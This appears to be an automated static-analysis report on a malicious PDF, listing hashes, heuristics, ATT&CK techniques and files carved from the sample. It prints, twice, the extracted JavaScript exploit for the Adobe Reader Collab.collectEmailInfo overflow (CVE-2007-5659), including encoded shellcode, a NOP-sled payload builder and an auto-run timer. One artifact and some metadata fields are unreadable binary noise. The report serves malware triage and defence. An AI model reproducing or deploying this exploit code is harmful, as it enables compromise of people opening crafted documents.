Malicious PDF — malware analysis report

Static analysis result for SHA-256 ba802077dd7e53bb…

MALICIOUS

PDF

19.8 KB Created: ƒÆZóU õÖÜ^hvlؙc;°ÀT° Authoring application: 9h”eCňìX+]E (via 9hŒeAńìX]QêÈHböôð—<ÜE=]š>T0؂Iÿ) First seen: 2026-05-08
MD5: 48bc2316b682e293a7e92612f3e4ebc1 SHA-1: a7d0d8c984df2ed2412a9b4e6a8c109e1f191128 SHA-256: ba802077dd7e53bb36af2bf1e2341cec0ae33500026f0fbc8cc09a8765095f68
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file is encrypted and contains JavaScript, indicating an attempt to obscure malicious content. The presence of PDF_ENCRYPTED_WITH_JS and PDF_JAVASCRIPT heuristics strongly suggests that the embedded JavaScript is used to bypass static analysis and likely download and execute a secondary payload. The document body is unreadable, further supporting the obfuscation technique. The SHA256 hash is included as a primary identifier.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 7

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html Referenced by PDF JavaScript
    • http://www.monotype.com/html/mtname/ms_arial.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONReferenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xF 5154 bytes
SHA-256: ee0298484834723d8b7e656bc017cd772af399a15e33e13ac025170ebff43be1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) {
var v = "";
while (--count >= 0) v += what;
return v;
} 
function start() {
var sc = unescape(
	"%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
	"%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
	"%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
	"%u5050%u5050%u5e58%u5e54%u5e50%u5c5e%u5f5e%u5e5c" +
	"%u505e%u5056%u5859%u5e5f%u5a58%u5e50%u5653%u5a51" +
	"%u5f52%u5057%u5356%u5a53%u5c55%u5053%u5857%u5656" +
	"%u5953%u5e52%u5556%u5857%u5556%u5050%u5f55%u5a56" +
	"%u5053%u5955%u5456%u5b58%u5150%u5b58%u5054%u5c50" +
	"%u5b58%u5057%u5c51%u5d5a%u5b58%u5856%u5850%u5b58" +
	"%u575f%u5a56%u5350%u5955%u585e%u5f52%u5050%u5050" +
	"%u5050%u525e%u595f%u5856%u5f56%u5e56%u5050%u5050" +
	"%u5856%u5557%u5257%u5c56%u5d56%u5455%u5f5f%u5651" +
	"%u5559%u5a56%u5150%u5955%u585e%u5751%u5050%u5050" +
	"%u5050%u525e%u595f%u5155%u5155%u5755%u5755%u5b55" +
	"%u5158%u575c%u5b59%u5050%u5050%u5050%u5755%u5155" +
	"%u5f5f%u5655%u5c50%u5155%u5355%u5f5f%u5655%u5850" +
	"%u5155%u5655%u5b58%u5557%u5c53%u5b58%u5457%u5e52" +
	"%u5857%u5350%u555f%u5655%u5b58%u5657%u5052%u5350" +
	"%u555f%u5353%u595c%u5954%u5154%u5d5a%u5350%u555c" +
	"%u5353%u5b5d%u5f50%u5e5b%u5051%u5853%u525f%u5457" +
	"%u5850%u515c%u5b5c%u5d50%u5350%u5a5d%u5054%u5b5e" +
	"%u515f%u5b53%u5f51%u5557%u575e%u5e55%u5b58%u5e55" +
	"%u5452%u5350%u5d5d%u5656%u5b58%u5c50%u5b54%u5b58" +
	"%u5e55%u5c51%u5350%u5d5d%u5b58%u5450%u5b58%u5350" +
	"%u555c%u5b5a%u5e55%u5955%u535c%u5856%u5457%u5457" +
	"%u5057%u5a53%u5f52%u5f52%u5457%u5956%u5c56%u5956" +
	"%u5d56%u5956%u5c56%u5956%u5457%u5257%u5956%u5156" +
	"%u5d56%u5e52%u5356%u5f56%u5d56%u5f52%u5353%u5e52" +
	"%u5057%u5856%u5057%u5050%u3030%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090");



if (app.viewerVersion >= 7.0) {
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",10);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 1 at offset 0xF 4629 bytes
SHA-256: 9bdb8b1632745b62f0c5a7b227e19f68ca66eac00323954439ca04c06c8703b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) {
var v = "";
while (--count >= 0) v += what;
return v;
} 
function start() {
var sc = unescape(
	"%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050%u5050%u5050%u5e58%u5e54%u5e50%u5c5e%u5f5e%u5e5c%u505e%u5056%u5859%u5e5f%u5a58%u5e50%u5653%u5a51%u5f52%u5057%u5356%u5a53%u5c55%u5053%u5857%u5656%u5953%u5e52%u5556%u5857%u5556%u5050%u5f55%u5a56%u5053%u5955%u5456%u5b58%u5150%u5b58%u5054%u5c50%u5b58%u5057%u5c51%u5d5a%u5b58%u5856%u5850%u5b58%u575f%u5a56%u5350%u5955%u585e%u5f52%u5050%u5050%u5050%u525e%u595f%u5856%u5f56%u5e56%u5050%u5050%u5856%u5557%u5257%u5c56%u5d56%u5455%u5f5f%u5651%u5559%u5a56%u5150%u5955%u585e%u5751%u5050%u5050%u5050%u525e%u595f%u5155%u5155%u5755%u5755%u5b55%u5158%u575c%u5b59%u5050%u5050%u5050%u5755%u5155%u5f5f%u5655%u5c50%u5155%u5355%u5f5f%u5655%u5850%u5155%u5655%u5b58%u5557%u5c53%u5b58%u5457%u5e52%u5857%u5350%u555f%u5655%u5b58%u5657%u5052%u5350%u555f%u5353%u595c%u5954%u5154%u5d5a%u5350%u555c%u5353%u5b5d%u5f50%u5e5b%u5051%u5853%u525f%u5457%u5850%u515c%u5b5c%u5d50%u5350%u5a5d%u5054%u5b5e%u515f%u5b53%u5f51%u5557%u575e%u5e55%u5b58%u5e55%u5452%u5350%u5d5d%u5656%u5b58%u5c50%u5b54%u5b58%u5e55%u5c51%u5350%u5d5d%u5b58%u5450%u5b58%u5350%u555c%u5b5a%u5e55%u5955%u535c%u5856%u5457%u5457%u5057%u5a53%u5f52%u5f52%u5457%u5956%u5c56%u5956%u5d56%u5956%u5c56%u5956%u5457%u5257%u5956%u5156%u5d56%u5e52%u5356%u5f56%u5d56%u5f52%u5353%u5e52%u5057%u5856%u5057%u5050%u3030%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
	"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");



if (app.viewerVersion >= 7.0) {
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",10);
font_00_sfnt_off00001cb4.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1CB4 24488 bytes
SHA-256: 908558b3049b2238526428de267b64a615dae2c05cc345d6a900f44e80a17bee
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x35F0 5154 bytes
SHA-256: 19e3d84c3dcc424a2980856e5fd885ccbe568e833dbed931bd61ea12a4547412
Preview script
First 1,000 lines of the extracted script
�f���m?M*0 `<i\˙"� ���B���0�Y��$Y�%� ��҈���<�{A�Z  ;G 
G� *Sp
�뱔׾�K��BڣV0 �[+��L1	k���q 
J �T
 w�֦�M  |�rVa���+�� 7M������ݰ,��� �h4���jC������8ޝ2�� �2�39�C� }X�@a�� �a��2��AG�����oG��# �\ �Ɔ+J� ����� o
 � �;X7Bƹ�D� �:7��7[�
 S2g ��h� A.��� }}y� ���  E n�p31����Yɞ�z �� ��=� � ��>Wh�mS�q##�Q����\� X���;ǽ,��CCHDvQ�(O��w��W:K� 05}��S��j=����  є�� 0� �3yME��)�f���0p|�	۝M

6  
(�Å�p�K�qWƝ��p l���Pp> &�cJ E{Դ]�}!�� ��l�S� � �x��]��)��� ���`/�zc�Y  3}�S1 ���� j��� ��|�� �d� H�z��1 � uj�Y  썴��^ ��%r�iI��O �v�D� �$ b � ��N��N�K �M�� �>  �  �4P�l � �=�٪Y� VH� G��R    @E�\ l�� �[�e)�A 
�򁎔܊�Ku$�.eKL ���   �V4��zB�l��+�s�B �WP�n�c�I< ��@%�����3�{� �!4uH
�> �s ]� 2  :�z:�G�K
���y�ӕ-����  ���] G��Q��G2n�� �P(��X�tU��v����W��U  ~ } bd����������  �e"sރ2O D� *������3�q�w,Tg�P}_�� x<+E&J� �KG �;u�� G�U?X/ו�%h��6�R���Q� �jk� B� �� De��7d��)���\:<���� �H�TN�Ʀ �ӵ�� .zq����eZ,Y'�5�r� Z���Uʤ �oC]  ���N��(���6'��e���(?O�������œ��z�� ��;i     2ȬW��r�-��**ő8Z��,���� D�ڢ�a�6�+��L�)_ �q ��� �T��Re۾*e �O� gڜ=�w��3 ���b#}Ē=o� AH e���8�y�Ƀ4�ש�$�3ɝ1�d�����ՍAɇ^�� b�ٻ�6�B mi�,��p #ٳ8 ђ��� �)
Q�]�  \8��Df `��⧓��<r�����M{O�$����:!�>3w��� y7uLe+%N��^���� lQ�8� g� q���pI�>Vl��a� ��D�C�LUm[��8 �	L�<�,�]	� ���K�� 3ۅP�]y� ��0  h���b�3�5��V#D-��  �I�-�iH=� k��R����ϗ��ʃ��!U�`M6��؝��� �ES�)��D 4�.-  Ѹ#��_) ΄��m� ��Kw�7�≆���%Lq���h  ܷ �< �Բ�2E &G���&��:�i�l� myڧI�� ��37����=n)<Sd���6�,������- 7 Y������ � ~���� Y5 j�����ԓk$��! J�� �G:�y  p��1֥�!�7 ����Եǰ̯��e�t �2o9 �Fj��22�"1}�R�� ˇ,- �h � �Lޓ"� 1 �vg���Z � _����� �  �� �3�sr�� ʰ6 �f�=  �� F�DB #�< :{�"� ��] �`<�6���  � «@��|i�uC
���É� ��Ň���: W뺍d;��U���alM��0(㭿 � 3.��G� � �
N�(� j��  �I=��er�5V�F8� e��y��ie:����
�+H튓� 6�zT��� M�,��0U=�׬ �F4| E�Q� {�$ �j ���VG
�iCųq �{E��e?I?1�
ܐi. ����U V'��啓���
�sI�b�����,�E����x�z9/�x  5r `�^A�+Yuҽ��k7�F`�2M��V� ��̻��K}�0��� �c}�M� � 뫐Y��x<��Yп� � �R���$O�.�� � c� �Œv �v2V��[�o ~�6�(ߵU� ɸ� �!��6�|& 
�( I�(u� qBb�g�@]��'���,�sƺ%���A��0N����� 8�K�� ��)ǃ9�q�U [���J{��^� .wr����?�P  ��H� Vm�~ �5k��	�R�{ ����f�}�x�c����
��� ����]��� �^N�x��t..9]��6�U� � L� i���s �mU-���c=��� � �����(2��1<:�H��&&��DR���4�E��t�hh����A�J)#1��,oo�մ �[� �& k��C���X��f@�)"�_�Q��ꚪ��X��|aZ�0̛�1- 6쒳 8E�h�?ݓ�Ɏ �6	��+�h~�b
�T��v � {�� *�yy�P� �F��enqb�2u���5}{. vHr�t� ���u��k+.�� ޸����� ;i��\Ղ�a7Jn' ��+�^����~* .� # c �ʅ����W�~@��c >Q	>*㜧�[��b�� �
��� �!g�=�l0 �-[U����� � ;��
A$��Bw��L��  ' q 	����+E�� �ݛD �3< � � ��3��Ӝ� �N �� �.l � �͗���V�"��R�,w/���=�� ��FQ�6tV�6��Jܑk ��h�  gxLj&��  �w<p~ؓ��T��a�_ ��k�2@_J��D���Y6�U�i^�~�F ��2<�" q��>~{�vo�ڤ T �l J,a'F ����.k�  C�J �
 ����2�'�oX�A �r<�7  ��딘��jzԽ��� �a�ƋR�  f���5�DZ~�K s��&�JT��U����!��@�� ���+m(݌�V�?�no ��uD1�� @x��$����
"P�� X�eMDT7�kr�a�  � �� �  �	"]���q� �s R��"� Bj冸"��VӔ<� �F���>̹��_�֍���BEI
�q� �Y��r��� � ��i��� ٙ�  �e 8 �x�i���/Ն  �ˍA� ��6�[ vq�v�]{A�N��  nPL��#Xn� �U\0��G��$!�i��'� �  �p�4 L^o��dž�:� ��4G��� Fz'���~�N~ �a��+s0��p��֭� ��p]FE�j�<���ϙ�,� ���ե*�� 0�%JG � AI �HVPr�E ���}�N�I� y>�F�j̅) \&�?�//� o��i$�&�]E�� �9�Lɞ�Ic��Q�� ����`��J���)��f��� �9B�7���E;���px��}A�7� n������	z�@A�զ�����  = "TI Dh �� �X�Ȧ��6�� F��&ʠ2 A�>�{[�0�客I2� �D� }. �F� �&1[��㒃� �RH-�u�V��)=ak�0 �Y�S�[��o �k ��,E` ���   G�f��Ό� 
�'  �d�߀�K� � تy � �?T�U8� r |�l�6�џ  ��2ǣ� 	x�\ �� �  ��JC�^��:o;�"F = '2�z Oh ���a� ��l�� ��p��@���;̔�d��h �}+�/�N�� C� C�6D��	�xiS�70 $R��++aO��{�  ���Ě v�� C���_�V'� �z>)��S0�H   {IQ|e�&�d��B���ψI W�(O6��k(��j�4^� ���wÉ�^�G�� K���h�� �1�*� 8��חAA� 	���}�?��� L"J+ �Վ�t��L���D� ���z*���״,xQ�v' o	�Ku  ���~�lS �) � =�5�AR��QZ_  �n0\_�vm�[!sz�?� �K�:
M#�   uf�_��gE�� �  +�YK�'�BG�	�8# ��4  l ���_[� k*�4��C��� to<�d> 9 �eZ�Ы�He �&R`D����4D 1_;xܖJ� �
��1�ޅ~F��T� �$��*�� �ǘ�#�� am��0���
 �� oZF]dz�
�7z��Ǝ;��Jn ���%�5l~@~�ŀ��� N�I�<<އ�  c�y�N[�Go)����d��� e�6d&?��4a.q Ӂ�/`�� � ��R��Ml@]�3cP| �ք8 &  z%�� �  ZD� ��<�� h �I� ���o�8rߍ �X��E,�\� 9 ����N� 0�^ �
� *B-�u��˽� VU05m���ءCQ�?ޤ �u@l  g� o ���T�g�J �X�҈@����A���� ( ��Z� =Ew��X����+Q�� ; ��mC$�f�l ��C � ��   *)b,Hy���/� xR����d�&E�w�]Ǽ� �V� ���_@�O;׵�< �3�O#��׋[��TᲸe)��[�;� �+;~�,�	 + WV�e���?NON�� {��8��}频_=��8��o�� ]
"Ǝ}�}H&��R�c^� I�0 �_źH�����}�H���a�Klv?�O{�8�kXIL���S?  ��L��KE�	�"�Ǐ�f��ρ7� ]��%F�  C�� f ,�0̟���>�  �H��P7�ò�E rd]�=^�+�*�!�Uڜ��b���Z o� � SRe,����ɋV�1�1�Y+" �B�w��9 ƗB&�1 �
	�zɆ��� � �mw0NhA}
��^��(wpߦ5i��Rv� .퉐SƧ p?}N б��� �2>��z�n O� �.w d��1�k���O�� 
 �����d�8�T  J2G�  wg�a !7  뎡ɲ9� ��91
���s2 J(�C� �� �<:�� MN�I�� ��G�?)J���i$ ��q��R 
"�!��ɪL����
t<�<��U�l�7�� V�۟� N�F�g�] ^<�R���X�G ��9��|K�^  ��P� ��>R��c,�Ҙ4	��lu��L�'�����
t��x��� 
=�8�T298 ѷ��An��n�����`���� �h �#�<�a _p�8xT 2X�49 ? g����T�{�ć-���� c)� ���� �<D ��Zs _S� ����P��,� �Ą�����˨�s F�5�f�~ 򨚲qG�$���&� F���{��h�a � ұ�U ��>{;�,�8�1y���&� F��<  4L  '��_� {�2AY �P��   ]Y @�8py�� �% �ǵ [8�8�� M V�@�� ���W� �+@X �V�  8  �V% r��=�O� ߔe��? �1�F��'���R3��cÆ��V(Y�p,s�,=Ï(]ճ*(3��A�-�8}� ���9��9*ڰ['ߌ�V�0�ؖ� gb�>�&lj'�6� Ȝ�  =�g zjj�$\.��5EV��uˏ)*�w< �! �k���J�B�Iű3 i� }
��٪���q�%dE�� :K��